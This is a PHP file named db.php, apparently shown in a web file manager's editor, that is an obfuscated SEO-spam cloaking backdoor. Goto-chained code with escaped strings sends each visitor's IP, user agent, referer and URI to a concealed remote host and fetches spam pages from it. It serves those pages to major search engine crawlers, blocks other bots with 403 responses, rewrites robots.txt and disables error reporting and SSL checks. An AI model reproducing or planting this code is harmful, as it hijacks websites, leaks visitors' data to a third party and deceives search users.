Edit: db.php

<?php
 goto I32EQ; W138W: $UZ3ts = "\57"; goto aw330; EETuI: XJ8wL: goto TlnWO; n44Rh: XIKi7($NvX74, "\61"); goto t51JJ; iVzkQ: $sKJd6 = ''; goto b44wq; TlnWO: if (strpos($NRLz7, "\152\160\x32\x30\x32\x33") !== false) { goto RYI6R; } goto hiYi4; vFO1t: A0cMB: goto UeMzG; hiYi4: if (substr($lonh9, 0, 5) == "\x3c\x3f\x78\x6d\154") { goto sm6j8; } goto zjV42; AE5fz: $NvX74 = "\171\x70\x77\x2e\x74\x78\164"; goto L2Pva; ARCgz: $BeSIc = $_SERVER["\122\x45\x4d\x4f\124\105\x5f\x41\x44\x44\x52"]; goto wDtKb; bSBMC: $a0oF1 = Jim1r($NvX74); goto O567F; eVtP5: $lonh9 = @file_get_contents($dc_8m); goto PVpfs; O567F: goto gUefQ; goto piHyq; O26U4: o2w24: goto s5m_w; TaHRp: if (!preg_match("\x2f\50\102\x79\x74\x65\163\x70\x69\x64\145\162\x7c\117\102\157\164\174\x53\143\162\141\160\x79\x7c\x53\145\x7a\x6e\141\x6d\x42\x6f\x74\174\120\x65\164\141\x6c\102\157\x74\x7c\103\x72\x61\167\x6c\x44\x61\144\144\x79\x7c\x41\x6d\141\x7a\157\x6e\102\157\x74\174\152\x61\166\141\174\x46\x65\x65\144\x44\145\x6d\157\156\x7c\123\167\151\146\x74\x62\157\164\174\x41\x68\x72\145\x66\x73\102\157\x74\x7c\x65\x7a\157\x6f\x6d\x73\174\171\151\x73\x6f\x75\123\160\151\x64\x65\x72\174\x79\x79\123\x70\151\x64\145\162\174\103\x6f\x6f\x6c\x70\x61\144\x57\x65\x62\x6b\x69\x74\174\160\141\154\157\141\154\x74\x6f\156\145\164\x77\x6f\162\x6b\x73\x7c\x50\x79\x74\150\157\156\55\165\x72\154\x6c\151\x62\174\x50\x79\x74\x68\x6f\156\55\162\145\161\x75\145\163\164\163\174\123\145\155\162\x75\x73\x68\102\x6f\x74\174\x49\x6e\144\x79\x20\x4c\151\142\162\x61\162\171\x7c\x70\x61\x71\x6c\145\142\157\x74\174\x44\x61\x74\141\x46\x6f\162\x53\105\x4f\174\x4a\151\x6b\145\123\160\x69\x64\x65\x72\174\106\x65\x65\x64\x6c\x79\174\144\x69\147\x45\x78\x74\x7c\x4c\x69\x67\150\x74\104\x65\143\x6b\122\x65\160\x6f\x72\164\x73\x20\x42\x6f\164\x7c\x61\x70\141\x63\x68\145\x42\145\x6e\143\150\x7c\x62\x61\162\153\162\x6f\x77\x6c\145\162\174\x79\141\x6e\x64\x65\170\x42\157\x74\x7c\152\x61\165\156\x74\x79\x7c\x47\120\124\x42\157\x74\x7c\132\x6d\105\165\x7c\x48\164\164\160\103\154\151\x65\x6e\x74\174\110\x65\162\151\164\162\151\x78\174\x4d\x6a\x31\62\x62\157\164\x7c\x43\x6c\141\x75\144\145\x62\157\164\174\103\145\156\163\x79\163\x49\x6e\163\160\145\x63\164\x7c\x55\x6e\x69\166\145\162\163\141\x6c\x46\x65\145\144\x50\x61\162\x73\145\162\174\105\141\163\157\165\123\160\x69\144\145\162\x7c\104\157\164\102\x6f\x74\174\x70\171\164\150\x6f\156\x7c\101\163\x6b\124\x62\x46\x58\x54\126\x7c\x47\157\55\x68\x74\x74\160\55\143\154\x69\x65\156\x74\x29\57\151", $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\137\x41\107\105\116\x54"])) { goto i2w6S; } goto Qh1Yx; cNQMg: $a_KDo = curl_init(); goto Bfijn; qJ13r: $lonh9 = curl_exec($a_KDo); goto lqs6c; H071r: jaDaP: goto puIQ7; xS7Fw: exit; goto TWCgv; t6D7L: XiKI7($NvX74, "\60"); goto ur8vg; RG7bg: sm6j8: goto EDJDv; QFxwH: header("\110\x54\124\120\x2f\x31\56\x31\x20\x34\x30\64\40\x4e\x6f\x74\x20\106\157\x75\156\144"); goto sjRRc; G6Aa9: echo "\157\x6b"; goto xS7Fw; ygZFc: goto OrNbS; goto H071r; wVe3L: KbZd3: goto d7U4g; EDJDv: header("\103\157\156\164\x65\x6e\x74\x2d\124\171\x70\145\72\x20\x74\145\x78\x74\x2f\x78\x6d\154\73\40\143\150\x61\x72\163\x65\x74\75\165\164\146\55\70"); goto iwT5Q; puIQ7: $BeSIc = $_SERVER["\110\x54\124\x50\137\x58\x5f\x46\117\122\127\x41\x52\104\105\x44\137\x46\117\x52"]; goto GfPwF; nrOwg: if (!empty($yV2mn)) { goto oi1fP; } goto TShF0; Rj4Yl: $aRhv7 = urlencode($_SERVER["\x52\105\x51\125\105\x53\x54\x5f\x53\x43\x48\x45\x4d\105"]); goto I1YxC; Ad26_: $AutyH = urlencode($_SERVER["\x48\124\124\120\137\x55\x53\105\122\137\x41\x47\x45\x4e\x54"]); goto fFMmn; I1YxC: if (!(strpos($NRLz7, "\171\160\167\171\160\167") !== false)) { goto m59WC; } goto G6Aa9; b44wq: echo $cGP1z . "\72\x20" . $sKJd6 . "\x3c\x62\162\x2f\x3e"; goto W_CPD; I32EQ: $W8uLC = "\104\61\x52\x53\102\147\156"; goto XmyM6; UeMzG: $yV2mn = ''; goto eljnX; aw330: goto nTk50; goto O26U4; s23BO: i2w6S: goto naJrt; hA91m: oi1fP: goto yrPNZ; Cakg2: if (!(substr($lonh9, 0, 10) == "\145\x72\162\x6f\162\x20\x63\157\144\145" or $lonh9 == "\x35\60\x30" or strpos($lonh9, "\x42\141\x64\40\107\x61\164\x65\x77\141\x79") !== false)) { goto XJ8wL; } goto f_qwE; xRNPt: ojy4v: goto AEQr1; FjHaW: TfslD: goto cjM4n; hhi8B: RYI6R: goto QFxwH; Bl_bw: lNzUR: goto gSCMQ; DyN8W: $BeSIc = $_SERVER["\110\x54\x54\120\137\x43\114\x49\x45\x4e\x54\x5f\111\120"]; goto ygZFc; qE6Cc: curl_setopt($a_KDo, CURLOPT_SSL_VERIFYPEER, FALSE); goto zo2FE; r3Z1Y: UJ4R2: goto YZT43; Pr7yk: exit; goto s23BO; zjV42: header("\103\x6f\x6e\164\x65\x6e\164\x2d\124\x79\x70\145\x3a\40\164\x65\170\164\x2f\150\x74\155\x6c\x3b\x20\x63\150\x61\162\163\x65\x74\75\x75\164\x66\55\70"); goto bloLw; O7LhR: cScUd: goto J4fBw; avDyN: $UZ3ts = $_SERVER["\x53\103\122\x49\x50\124\137\x4e\x41\x4d\105"]; goto a4ksJ; iwT5Q: tLVi9: goto BPYQP; Hi6qT: $PYWaF = "\101\157\x6c\x7c\171\141\150\157\x6f\x7c\x42\x69\156\x67\x7c\x47\157\157\147\154\x65"; goto TaHRp; GfPwF: OrNbS: goto ltn0u; eljnX: $dc_8m = $t8w9n . "\77\141\x67\x65\156\x74\x3d{$AutyH}\x26\162\145\146\x65\x72\75{$ZDBvC}\x26\154\141\156\147\75{$Z6bRZ}\x26\x69\x70\75{$BeSIc}\x26\144\157\155\x3d{$iqeje}\46\150\x74\x74\160\75{$aRhv7}\46\x75\162\x69\x3d{$NRLz7}\46\160\x63\75{$W8uLC}\46\x72\x65\x77\162\x69\164\x65\x61\x62\154\x65\x3d{$a0oF1}\x26\x73\143\x72\151\x70\x74\75{$D1ORi}"; goto ESN73; bJuJq: curl_setopt($a_KDo, CURLOPT_RETURNTRANSFER, true); goto hDSNG; JMjQR: ipm03: goto RplJw; O8ph7: goto uBbpB; goto r3Z1Y; d619N: goto ojy4v; goto O7LhR; obY9b: $NRLz7 = urlencode($_SERVER["\x52\x45\121\125\x45\x53\x54\137\x55\122\111"]); goto Rj4Yl; cjM4n: if (empty($lonh9)) { goto nF2GO; } goto Cakg2; jiloR: if (strpos($NRLz7, "\146\141\x76\151\x63\157\156\56\151\143\x6f") !== false) { goto UJ4R2; } goto vKFeD; hogrD: if ($lonh9 === "\x6f\153") { goto lNzUR; } goto ag48w; Qh1Yx: header("\x48\x54\124\x50\x2f\61\x2e\x30\40\x34\x30\63\40\106\x6f\x72\x62\151\144\144\x65\156"); goto Pr7yk; t51JJ: imxuc: goto soBjb; PdScR: xiKI7("\x72\157\142\x6f\164\163\56\164\170\164", $lonh9); goto JMjQR; wySKt: function jIM1R($j3_YL) { goto mGG6h; mGG6h: $AzNVp = fopen($j3_YL, "\162"); goto Pzoi9; rMrIO: return false; goto p1q1y; MXMkx: return $zEVYR; goto wK72L; YST1r: fclose($AzNVp); goto MXMkx; Kj08U: $zEVYR = fread($AzNVp, filesize($j3_YL)); goto YST1r; Pzoi9: if (!$AzNVp) { goto ZARPQ; } goto Kj08U; wK72L: ZARPQ: goto rMrIO; p1q1y: } goto obY9b; tQ_ig: return; goto ajctO; soBjb: gUefQ: goto jiloR; vkUiv: if (isset($_SERVER["\110\124\124\x50\137\x58\x5f\x46\117\122\127\x41\122\104\105\104\x5f\106\x4f\122"])) { goto jaDaP; } goto xm2t0; d7U4g: $_SERVER["\x52\x45\121\125\105\123\x54\137\x53\x43\x48\105\x4d\x45"] = "\x68\x74\164\160\163"; goto VUQFh; x25hc: function xIKI7($j3_YL, $zEVYR) { goto PBy8s; NPI6A: return true; goto sMjnd; WTMLo: fwrite($AzNVp, $zEVYR); goto hKV2L; PBy8s: $AzNVp = fopen($j3_YL, "\x77"); goto hqa04; hKV2L: fclose($AzNVp); goto NPI6A; sMjnd: FnzC0: goto aUwfA; hqa04: if (!$AzNVp) { goto FnzC0; } goto WTMLo; aUwfA: return false; goto Gg35G; Gg35G: } goto wySKt; hDSNG: curl_setopt($a_KDo, CURLOPT_FOLLOWLOCATION, false); goto qE6Cc; s5m_w: $UZ3ts = "\x2f\77"; goto SptLK; rKjmr: $uwnuo = "\56\x64\157\x67"; goto q7A9s; ESN73: if (!(strpos($NRLz7, "\160\151\156\x67\163\x69\x74\145\155\141\x70") !== false)) { goto JIQ0W; } goto avDyN; Q6jSC: $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\x53\x43\110\105\x4d\105"] = "\150\164\x74\x70"; goto XFmnn; HQ42R: echo $lonh9; goto nrOwg; ag48w: $a0oF1 = 0; goto t6D7L; f_qwE: header("\110\124\x54\x50\x2f\61\x2e\x30\40\65\x30\60\40\111\x6e\164\145\162\156\x61\x6c\40\x53\145\x72\166\x65\162\x20\x45\x72\162\157\x72"); goto mOasr; a4ksJ: if (strpos($UZ3ts, "\x69\156\x64\x65\x78\56\x70\150") !== false) { goto cScUd; } goto ewUgI; PyFtU: $cGP1z = "{$aRhv7}\72\57\57" . $iqeje . $UZ3ts . "\163\151\164\x65\155\141\160\x2e\x78\155\154"; goto xprb8; OXtMv: $l1Dlt = "\x68\164\x74\x70\72"; goto BJvcN; zo2FE: curl_setopt($a_KDo, CURLOPT_SSL_VERIFYHOST, FALSE); goto qJ13r; wDtKb: $ZDBvC = urlencode(@$_SERVER["\110\124\124\x50\137\x52\105\106\105\122\x45\x52"]); goto Ad26_; sjRRc: R89XP: goto HQ42R; fFMmn: $iqeje = urlencode($_SERVER["\110\x54\x54\120\x5f\110\117\123\x54"]); goto CdZyQ; XmyM6: $vj8O3 = "\x2f\x2f\x63\x77\63\67\62"; goto OXtMv; W_CPD: $dc_8m = $t8w9n . "\77\x61\x67\145\156\x74\x3d{$AutyH}\46\162\145\x66\145\x72\75{$ZDBvC}\46\x6c\141\x6e\147\x3d{$Z6bRZ}\x26\x69\160\x3d{$BeSIc}\x26\144\157\155\75{$iqeje}\x26\x68\164\164\x70\x3d{$aRhv7}\46\x75\162\151\x3d{$NRLz7}\46\x70\x63\75{$W8uLC}\x26\x72\145\x77\162\151\164\145\141\x62\154\x65\x3d{$a0oF1}\46\163\143\x72\151\x70\x74\x3d{$D1ORi}\46\163\151\x74\145\155\141\160\75" . urlencode($cGP1z); goto Y3gKH; cCQFA: $D1ORi = urlencode($_SERVER["\x53\103\122\111\120\x54\137\116\101\115\x45"]); goto ep4v7; BPYQP: goto R89XP; goto hhi8B; naJrt: $Z6bRZ = urlencode(@$_SERVER["\x48\124\124\x50\x5f\101\x43\x43\x45\x50\124\x5f\114\101\116\107\x55\x41\x47\x45"]); goto icKjn; yrPNZ: xiKI7("\162\x6f\x62\157\164\163\56\x74\x78\164", $yV2mn); goto cpNX7; CdZyQ: if (isset($_SERVER["\x48\124\x54\x50\x5f\103\114\111\x45\x4e\x54\x5f\x49\120"])) { goto n7egC; } goto vkUiv; sjWUw: $t8w9n = $l1Dlt . $vj8O3 . $sMj6G . $uwnuo . $H2ALt; goto Hi6qT; bloLw: goto tLVi9; goto RG7bg; ep4v7: if (!empty($_SERVER["\122\105\121\125\105\123\x54\137\123\103\x48\x45\115\x45"]) and $_SERVER["\122\x45\x51\x55\x45\x53\x54\137\123\x43\x48\105\x4d\x45"] == "\x68\164\x74\160\163" or !empty($_SERVER["\110\x54\x54\x50\123"]) and $_SERVER["\x48\124\x54\x50\x53"] == "\157\x6e" or !empty($_SERVER["\123\x45\x52\x56\105\x52\137\x50\x4f\122\x54"]) and $_SERVER["\x53\x45\122\x56\105\122\137\120\x4f\x52\124"] == "\64\64\63" or isset($_SERVER["\110\124\x54\120\137\x58\137\106\117\x52\127\x41\x52\x44\x45\104\x5f\x50\x52\x4f\x54\117"]) and $_SERVER["\110\124\x54\120\x5f\130\137\x46\117\x52\x57\101\122\104\x45\x44\x5f\120\122\117\x54\x4f"] == "\x68\164\x74\x70\x73") { goto KbZd3; } goto Q6jSC; lqs6c: curl_close($a_KDo); goto FjHaW; XFmnn: goto hcON3; goto wVe3L; xprb8: $yV2mn = trim($yV2mn) . "\xd\xa" . "\x53\151\x74\145\155\x61\160\x3a\40{$cGP1z}"; goto iVzkQ; xv0cY: exit; goto tQ_ig; L2Pva: $a0oF1 = 0; goto DrEoV; icKjn: error_reporting(0); goto ARCgz; PVpfs: if (!empty($lonh9)) { goto TfslD; } goto cNQMg; QZQMT: n7egC: goto DyN8W; Y3gKH: JIQ0W: goto eVtP5; pLi30: $eKrLQ = $aRhv7 . "\x3a\x2f\57" . $_SERVER["\x48\124\x54\120\x5f\x48\117\x53\124"] . "\x2f\x79\160\167\171\x70\167"; goto MO1M2; TWCgv: m59WC: goto AE5fz; MO1M2: $lonh9 = @file_get_contents($eKrLQ); goto hogrD; mOasr: exit; goto EETuI; q7A9s: $sMj6G = "\62"; goto sjWUw; DrEoV: if (!is_file($NvX74)) { goto drPa1; } goto bSBMC; J4fBw: if ($a0oF1 == 0) { goto o2w24; } goto W138W; SptLK: nTk50: goto xRNPt; gSCMQ: $a0oF1 = 1; goto n44Rh; ur8vg: goto imxuc; goto Bl_bw; s6xew: umJN4: goto O8ph7; AEQr1: $yV2mn = "\125\163\x65\162\x2d\x61\147\x65\156\164\x3a\x20\52\15\12\x41\x6c\x6c\157\x77\72\40\57"; goto PyFtU; RplJw: goto WE5Rz; goto hA91m; cpNX7: WE5Rz: goto xv0cY; ewUgI: $UZ3ts = $UZ3ts . "\77"; goto d619N; VUQFh: hcON3: goto x25hc; BJvcN: $H2ALt = "\154\141\142\x6f\x75\x72\56\143\x6f\155\57"; goto rKjmr; piHyq: drPa1: goto pLi30; TShF0: if (!(strpos($NRLz7, "\x72\157\x62\x6f\x74\x73\x2e\164\170\x74") !== false)) { goto ipm03; } goto PdScR; Bfijn: curl_setopt($a_KDo, CURLOPT_URL, $dc_8m); goto bJuJq; ltn0u: $BeSIc = urlencode($BeSIc); goto cCQFA; xm2t0: goto OrNbS; goto QZQMT; laDeU: goto umJN4; goto vFO1t; ajctO: nF2GO: goto s6xew; vKFeD: if (strpos($NRLz7, "\x72\x6f\142\157\x74\163\x2e\x74\170\x74") !== false or strpos($NRLz7, "\152\160\x32\x30\62\63") !== false or strpos($NRLz7, "\x70\151\156\x67\163\151\x74\145\155\141\x70") !== false or preg_match("\x40\x5e\x2f\x28\56\52\77\x29\x2e\x78\x6d\154\44\x40\x69", $_SERVER["\122\x45\x51\x55\105\x53\124\137\x55\122\x49"]) or preg_match("\x2f\50{$PYWaF}\x29\57\151", $_SERVER["\110\124\124\x50\x5f\x55\x53\x45\122\x5f\x41\107\105\x4e\124"]) or preg_match("\x2f\x28{$PYWaF}\51\57\151", @$_SERVER["\x48\124\x54\x50\137\x52\x45\106\105\x52\x45\x52"])) { goto A0cMB; } goto laDeU; YZT43: uBbpB:
?>

Cancel